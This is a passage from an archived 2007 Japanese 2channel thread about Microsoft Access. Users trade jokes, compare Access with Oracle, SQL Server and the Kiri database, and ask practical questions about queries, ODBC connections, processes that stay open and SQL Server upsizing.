つか、クリックしてから開けるまでどれぐらい時間がかかるんだ
開いている間に冬が終わって春とか初夏とかが来て梅雨が来て落雷して
停電しちゃっても大丈夫なのか
148:NAME IS NULL
07/02/27 02:30:29
早いCPUにメモリを沢山つんで、無停電装置もつければ
おーけーじゃね?
149:NAME IS NULL
07/02/27 08:25:50
>>145
うちはもうちょっとマシ。
=1+2+3+4+........................
とちゃんと=の使い方はマスターした(w
セルの意味は永久に理解しそうにない。
150:NAME IS NULL
07/02/27 10:21:38 0L3j2AYF
(・∀・):あ○○君ちょっとここ教えてほしいんだが・・・・
(´Д`;):ハイハイ・・・ああ ここはですね・・・
(・∀・):おおーこうやるのか・・あーわかったわかった後はこっちでやる
(´Д`;):はいではお願いします
5分後
(・∀・):あ○○君ちょっとここ教えてほしいんだが・・・・
(´Д`;):ハイハイ・・・ああ ここはですね・・・(わからなかったんだな・・・)
151:NAME IS NULL
07/02/28 01:19:18
Excel,Accessマンセーする奴に限って,
OracleとかSQLServerでシステム構築すると,
安定性大丈夫なんですか!RASISは!とか言って騒ぐんだよな.
おまいらの使ってるソレよりは16倍くらいはマシだっつーの.
152:NAME IS NULL
07/02/28 01:27:21
>>151
何か悪いもんでも喰ったか?
つ:ゲロ袋
153:NAME IS NULL
07/02/28 04:30:30
>>151
16倍は酷いだろ! 256倍くらいにしとけよw
154:NAME IS NULL
07/02/28 11:22:24
>>151
そいつに「2GB」とか「65,536 行、256 列」と耳打ちしてみる。
155:NAME IS NULL
07/02/28 12:14:29
>>151
Excel2007マンセー、と言い返される。
156:NAME IS NULL
07/02/28 13:54:02 /liZTVWN
ACCESSは70過ぎのウチの老母でも楽々使えるが、Oracleは東大卒の巨大パソコンメーカー社員でも難しいと嘆くソフト。
ママチャリとF1を比べるようなものだろ。
157:NAME IS NULL
07/02/28 14:05:19
フロントエンドとDBMSを比べてどうすんのよ
158:NAME IS NULL
07/03/01 22:48:58 pNoo3yuq
フォームに犬、猫、羊に○があったり空白があります。犬に○、猫に空白、羊に○、全部空白
などを抽出するにはどうすれば良いでしょう?
クエリの抽出条件をどうすれば良いかわからないです…
159:NAME IS NULL
07/03/01 23:00:02
日本語でおk
160:NAME IS NULL
07/03/02 00:35:08
編集→追加貼り付けなんですが、これのショートカットってあるんでしょうか?
MSのショートカット一覧見ても載ってないし…
毎度毎度編集からやるのめんどくさいー
161:NAME IS NULL
07/03/02 01:27:51 oecE95D3
>>156ってバカっぽいw
162:NAME IS NULL
07/03/02 16:17:36 Qi8ZZAPv
>>158って可愛い
163:158
07/03/02 23:10:09 GXBmeTkN
解決しました
164:132
07/03/03 20:23:34 gB9dVFIQ
誰がなんと言おうと、私の部署でAccessを触れるのは私だけ。
ほかの人には、しょうがないので、エクセルでデータを渡す。
ほかの人からは、しょうがないのでエクセルのデータをもらってテーブルを作る。
悲しい。
165:NAME IS NULL
07/03/03 22:06:56 80YbnFM5
>>164
我が同士だな。ACCESSを使う為にWindowsを選択すると言うのを忘れている。
ExcelなんてACCESSの一つのツールに過ぎん。
166:NAME IS NULL
07/03/04 00:50:57
>>162
みんなが使えるようにシステム化すればいいじゃん。
167:NAME IS NULL
07/03/04 12:31:32 hWkJx4Lc
ソース非公開のサンプル(VBAでAllowBypassKeyがFalseになってる?)の
中身を何とか見たい場合ってどうすればいいんでしょ?
ファイルの外側から操作してコードを見たり、フォームの編集画面に切り替えたり
できるようになりますか?
Access2000、WinXP使用してます。
168:NAME IS NULL
07/03/04 12:48:05
URLリンク(x7net.com)
ここはどう?
169:NAME IS NULL
07/03/04 14:27:07
>>167
こういうことを平気で聞くやつの気が知れない。
見せたくないから非公開にしているのに・・・・・
170:NAME IS NULL
07/03/04 18:59:53
>>167
簡単だよ
171:NAME IS NULL
07/03/04 23:31:22
MDEになっているのなら無理じゃね?
172:NAME IS NULL
07/03/05 03:10:19
>>171
オマエ、話がずれてるぞ。
173:NAME IS NULL
07/03/05 23:02:20
質問ちゃんです。お願いします。
Access2007を試用中です。PostgresqlのODBC Unicodeドライバでつないで使ってます。
テーブルのリンクを作る際にパスワードを保存しようとすると、
> 「〜文字化け〜」が見つかりません。
と言われたり言われなかったりします。これはANSIドライバだと起こりません。
また、パスワードを保存しないと、次回accdbを開いたときに接続できなくなってしまいます。
何か解決策はありますか?
174:173
07/03/06 19:40:58
Microsoftから行ける教えてネットとかいうところで関連する記事発見。
ドライバのバグかもしれない、とのこと。解決せず。
パスワードファイル名に使われるテーブル名がUnicodeだから問題なのかな。
175:NAME IS NULL
07/03/08 05:39:54
Acess2003で構築中です。
mdbファイルを開くとき毎回security worningでOpenを選択した後、アクセスがそのまま閉じてしまいます。
ldbファイルは残ってしまい削除できないので、タスクマネージャーを使ってプロセスを殺し、削除しています。
2回目に開くとOpenを選択後はちゃんと開きます。
最適化
空のDBに全部インポート
はためしてみましたが、変わりません。
なにか確認するところはありますか?
ヒントでも結構ですよろしくお願いします。
176:175
07/03/08 06:36:58
補足です。
どうやら問題は開くときというより閉じるときのようです。
MDBを閉じてもタスクマネージャーのプロセスにMSACCESS.exeが残ってしまっています。
MDBを開く前にコレを閉じたら普通に開けました。
同じパソコン上で別のMDBファイルを開く>閉じるしてもタスクマネージャーには
残っていませんでした。
何が悪さしているんでしょう??
177:NAME IS NULL
07/03/08 16:01:50
>>176
もちろん、OS、Officeの最新修正パッチはあてての話しだよね。
>何が悪さしているんでしょう??
全てのプロセス晒す勇気あるの?
178:NAME IS NULL
07/03/08 20:23:17
ただ単にcloseしてないとか・・・
179:NAME IS NULL
07/03/08 23:17:28
MDBを閉じることと、Accessを終了すること、これを明確に分けて
考えること・書き込むこと。
180:NAME IS NULL
07/03/09 13:38:57 VlRmkENp
Accessで多重のリレーションチェーンはどうやって作るのでしょうか?
181:NAME IS NULL
07/03/09 18:48:25
イベント プロパティに指定した式 クリック時 でエラーが発生しました
_..,,.,,.
「r',. 、
d ´c`/ ちくしょう…
i ' ∋
ぉち 彡 ,.-,ニユ、
ぉ く .三 { ,.= r、
|し 三 (6' r',ニ7
|ょ 三. | !| { {
|お 三. | ミ‐ニ)
! ! ぉ ミ ! {
182:NAME IS NULL
07/03/10 22:17:19 765QKwU6
ACCESS総合相談所 その16 【桐にしとけ】
スレリンク(bsoft板:832番)
832 名前:名無しさん@そうだ選挙にいこう[] 投稿日:2007/03/10(土) 14:13:34
Accessってさぁ、残高計算できないから出納帳とか会計処理は出来ないよね。
VBAでレコードセットの更新掛けても、整列項目値が同じレコードの順番が指定できないから、正確な残高が保証されないよね。
桐だと論理レコード番号があるから、正確な残高計算できるからGoodだね。
835 名前:名無しさん@そうだ選挙にいこう[sage] 投稿日:2007/03/10(土) 17:33:38
確かにAccessでは累計とか連番とかは結果が保証されない。
だから何?
838 名前:名無しさん@そうだ選挙にいこう[sage] 投稿日:2007/03/10(土) 21:41:58
ええええーーーーーーーーーーっ!!!!!!!!!
accessで残高計算できないのーーーーーーーーーー
183:NAME IS NULL
07/03/10 22:46:26
>>182
だから桐が優れていると?
accessで作られた出納帳とか会計処理は腐るほどある。
確かに累計出すときには桐は便利だがそれがすべてって話でもあるまい。
accessと桐は目的も目指すところも違うのだから、どっちがいいってことはない。
変なライバル心持つなよ。
184:NAME IS NULL
07/03/11 13:28:01
つーかAccessだろうが桐だろうが、使い方でいかようにも解決できるだろ
なんのための拡張性なんだよ
185:NAME IS NULL
07/03/11 14:41:58
FileMaker最強!
186:NAME IS NULL
07/03/11 19:00:01
>>185
ろくにプログラムができないならいい選択だ。
つうか、わざわざここに来て言う意味がどこにある?
187:NAME IS NULL
07/03/12 23:36:40
桐って ずっとキリ番のキリかと思ってた
つまりAccess 2000のことね
あと3年はロムっとくわorz
188:NAME IS NULL
07/03/13 15:09:01
半年ロムる前にすることがあるだろ?
189:経理
07/03/13 19:15:57 E2+9uzCK
ここの人達(プロ)には評判悪いかも知れないがエンドユーザーから見れば最高だ。
手作業で一日、二日はかかるものが五分で終わる。
構築は素人でもなんとかなる。そこそこはメンドいがそれ以上の見返りは十分にある。
アクセス様様
190:NAME IS NULL
07/03/13 20:47:12
>>189
うん、一人で使う分には良いと思うよ。
これがネットワーク上でDB共有したいとか
欲張り始めると大変なことになる。
191:NAME IS NULL
07/03/13 21:08:29
桐ってまだ手に入るの?
192:NAME IS NULL
07/03/13 21:22:39
まだも何もvista正式対応版がもうじき発売予定らしいよ。
193:NAME IS NULL
07/03/13 21:27:35
俺はアクセスも桐も使うけど、人に使わせる必要がなければ桐を使う。
桐ならかなり適当に表を作って適当に集計して適当に印刷できる。
結果だけ欲しいなら、入力フォームもSQLも印刷帳票も設定する必要がない。
表のまま印刷しても結構さまになる。
アクセスでは出来ないことだが、マクロの登録もエクセルのようにできる。
項目に直接式が入るところなどエクセルと良く似ていてわかりやすい。
むしろ、エクセルから移行するなら桐のほうがずっとわかりやすい。
ただ、柔軟すぎるのと入力がちょっと独特なので人には使わせられない。
小規模のアプリケーションを作るならアクセスのほうがいいと思う。
VBAもSQLも身につくからプログラム入門としてはいい。
194:NAME IS NULL
07/03/13 23:11:08
いや、桐の入力は最強だよ
アクセスだと入力遅いし間違える
195:NAME IS NULL
07/03/13 23:22:59
あ、カード形式フォームじゃなくて、
表形式フォームとかテーブル・表のまま前後のレコード見える状態で、
スーパーのレジのオバサンみたいにびゅんびゅん入力する場合ね
アクセスだと数レコード前の誤入力に気付いて訂正しようとすると、
何処訂正したか解らなくなったり、関係ない場所変更しちゃったり、訳わかんなくなって入力データ全部信頼できなくなる
だから、びゅんびゅん入力できない
桐だと、そんな心配せずに、びゅんびゅん入力できる
前後のレコード見えないカード形式じゃ入力遅いし間違い入力の訂正も遅いよね
196:NAME IS NULL
07/03/13 23:28:52
>>195
ああ、それはそうだ。
似たようなデータが続くときは簡単に複写できるし、
表形式のときの入力のしやすさは抜群だ。
でも、桐でアプリケーション作る気にはなれない。
197:NAME IS NULL
07/03/16 13:43:02 d/DlNvfS
Accessでアプリ作ると使うPCのディスプレイサイズによってフォーム作り変えなきゃならんよ
桐なら倍率指定してフォームの拡大縮小ができるよ
198:NAME IS NULL
07/03/16 16:34:35
>>195 入力エラーがあった場合、その処置が大問題になるな
一気入力画面でも作ればいいべ
199:NAME IS NULL
07/03/16 16:45:15 iPU7gehP
Access2007にある「添付ファイル型」フィールドを
SQLServerで扱いたいのですが、自動アップサイズさせると
メモ型になって動作しなくなります。
解決策をご存知の方いらっしゃいませんか?
SQLServerにないフィールドタイプなので無理でしょうか。
200:NAME IS NULL
07/03/16 17:55:24
>>199
汝命知らずのチャレンジャーよ、SQLServerのバージョンをついでに教えてくだされ。
Microsoftの事だから、2005SP2からは動作するようになってるかもしれんわけで。
(2005からはフィールドにユーザ定義型突っ込めるようになったからね、SQL鯖)
201:NAME IS NULL
07/03/16 17:56:43 HtYEd7uv
>>199
添付ファイル魅力有るし、試験的にやってみるがデータが馬鹿でかくなる。安定性の情報希望。
202:NAME IS NULL
07/03/17 01:35:25
>>197
解像度な。
203:NAME IS NULL
07/03/18 03:26:51
せっかく解像度あげても、出てくるフォームが拡大されるだけってのも悲しいなあ?
解像度上げたなら、情報量も増えないと意味がない。結局フォームは作り直しってことになる?
次ページ最新レス表示スレッドの検索類似スレ一覧話題のニュースおまかせリスト▼オプションを表示暇つぶし2ch
4252日前に更新/204 KB
担当:undef